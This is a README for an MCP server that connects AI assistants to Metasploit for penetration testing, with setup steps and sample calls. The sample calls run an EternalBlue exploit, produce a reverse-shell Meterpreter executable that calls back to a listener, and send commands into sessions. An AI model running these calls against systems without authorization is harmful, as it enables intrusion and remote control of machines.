Metasploit MCP Server
A Model Context Protocol (MCP) server for Metasploit Framework integration.
https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1
Description
This MCP server provides a bridge between large language models like Claude and the Metasploit Framework penetration testing platform. It allows AI assistants to dynamically access and control Metasploit functionality through standardized tools, enabling a natural language interface to complex security testing workflows.
Features
Module Information
- list_exploits: Search and list available Metasploit exploit modules
- list_payloads: Search and list available Metasploit payload modules with optional platform and architecture filtering
Exploitation Workflow
- run_exploit: Configure and execute an exploit against a target with options to run checks first
- run_auxiliary_module: Run any Metasploit auxiliary module with custom options
- run_post_module: Execute post-exploitation modules against existing sessions
Payload Generation
- generate_payload: Generate payload files using Metasploit RPC (saves files locally)
Session Management
- list_active_sessions: Show current Metasploit sessions with detailed information
- send_session_command: Run a command in an active shell or Meterpreter session
- terminate_session: Forcefully end an active session
Handler Management
- list_listeners: Show all active handlers and background jobs
- start_listener: Create a new multi/handler to receive connections
- stop_job: Terminate any running job or handler
Prerequisites
- Metasploit Framework installed and msfrpcd running
- Python 3.10 or higher
- Required Python packages (see requirements.txt)
Installation
- Clone this repository
- Install dependencies:
pip install -r requirements.txt - Configure environment variables (optional):
MSF_PASSWORD=yourpassword MSF_SERVER=127.0.0.1 MSF_PORT=55553 MSF_SSL=false PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Where to save generated payloads
Usage
Start the Metasploit RPC service:
msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553
Transport Options
The server supports two transport methods:
- HTTP/SSE (Server-Sent Events): Default mode for interoperability with most MCP clients
- STDIO (Standard Input/Output): Used with Claude Desktop and similar direct pipe connections
You can explicitly select the transport mode using the --transport flag:
# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http
# Run with STDIO transport
python MetasploitMCP.py --transport stdio
Additional options for HTTP mode:
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
Claude Desktop Integration
For Claude Desktop integration, configure claude_desktop_config.json:
{
"mcpServers": {
"metasploit": {
"command": "uv",
"args": [
"--directory",
"C:\\path\\to\\MetasploitMCP",
"run",
"MetasploitMCP.py",
"--transport",
"stdio"
],
"env": {
"MSF_PASSWORD": "yourpassword"
}
}
}
}
Other MCP Clients
For other MCP clients that use HTTP/SSE:
-
Start the server in HTTP mode:
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085 -
Configure your MCP client to connect to:
- SSE endpoint:
http://your-server-ip:8085/sse
- SSE endpoint:
Security Considerations
⚠️ IMPORTANT SECURITY WARNING:
This tool provides direct access to Metasploit Framework capabilities, which include powerful exploitation features. Use responsibly and only in environments where you have explicit permission to perform security testing.
- Always validate and review all commands before execution
- Only run in segregated test environments or with proper authorization
- Be aware that post-exploitation commands can result in significant system modifications
Example Workflows
Basic Exploitation
- List available exploits:
list_exploits("ms17_010") - Select and run an exploit:
run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444}) - List sessions:
list_active_sessions() - Run commands:
send_session_command(1, "whoami")
Post-Exploitation
- Run a post module:
run_post_module("windows/gather/enum_logged_on_users", 1) - Send custom commands:
send_session_command(1, "sysinfo") - Terminate when done:
terminate_session(1)
Handler Management
- Start a listener:
start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444) - List active handlers:
list_listeners() - Generate a payload:
generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444}) - Stop a handler:
stop_job(1)
Testing
This project includes comprehensive unit and integration tests to ensure reliability and maintainability.
Prerequisites for Testing
Install test dependencies:
pip install -r requirements-test.txt
Or use the convenient installer:
python run_tests.py --install-deps
# OR
make install-deps
Running Tests
Quick Commands
# Run all tests
python run_tests.py --all
# OR
make test
# Run with coverage report
python run_tests.py --all --coverage
# OR
make coverage
# Run with HTML coverage report
python run_tests.py --all --coverage --html
# OR
make coverage-html
Specific Test Suites
# Unit tests only
python run_tests.py --unit
# OR
make test-unit
# Integration tests only
python run_tests.py --integration
# OR
make test-integration
# Options parsing tests
python run_tests.py --options
# OR
make test-options
# Helper function tests
python run_tests.py --helpers
# OR
make test-helpers
# MCP tools tests
python run_tests.py --tools
# OR
make test-tools
Test Options
# Include slow tests
python run_tests.py --all --slow
# Include network tests (requires actual network)
python run_tests.py --all --network
# Verbose output
python run_tests.py --all --verbose
# Quick test (no coverage, fail fast)
make quick-test
# Debug mode (detailed failure info)
make test-debug
Test Structure
tests/test_options_parsing.py: Unit tests for the graceful options parsing functionalitytests/test_helpers.py: Unit tests for internal helper functions and MSF client managementtests/test_tools_integration.py: Integration tests for all MCP tools with mocked Metasploit backendconftest.py: Shared test fixtures and configurationpytest.ini: Pytest configuration with coverage settings
Test Features
- Comprehensive Mocking: All Metasploit dependencies are mocked, so tests run without requiring an actual MSF installation
- Async Support: Full async/await testing support using pytest-asyncio
- Coverage Reporting: Detailed coverage analysis with HTML reports
- Parametrized Tests: Efficient testing of multiple input scenarios
- Fixture Management: Reusable test fixtures for common setup scenarios
Coverage Reports
After running tests with coverage, reports are available in:
- Terminal: Coverage summary displayed after test run
- HTML:
htmlcov/index.html(when using--htmloption)
CI/CD Integration
For continuous integration:
# CI-friendly test command
make ci-test
# OR
python run_tests.py --all --coverage --verbose
Configuration Options
Payload Save Directory
By default, payloads generated with generate_payload are saved to a payloads directory in your home folder (~/payloads or C:\Users\YourUsername\payloads). You can customize this location by setting the PAYLOAD_SAVE_DIR environment variable.
Setting the environment variable:
-
Windows (PowerShell):
$env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads" -
Windows (Command Prompt):
set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads -
Linux/macOS:
export PAYLOAD_SAVE_DIR=/custom/path/to/payloads -
In Claude Desktop config:
"env": { "MSF_PASSWORD": "yourpassword", "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // Only add if you want to override the default }
Note: If you specify a custom path, make sure it exists or the application has permission to create it. If the path is invalid, payload generation might fail.
License
Apache 2.0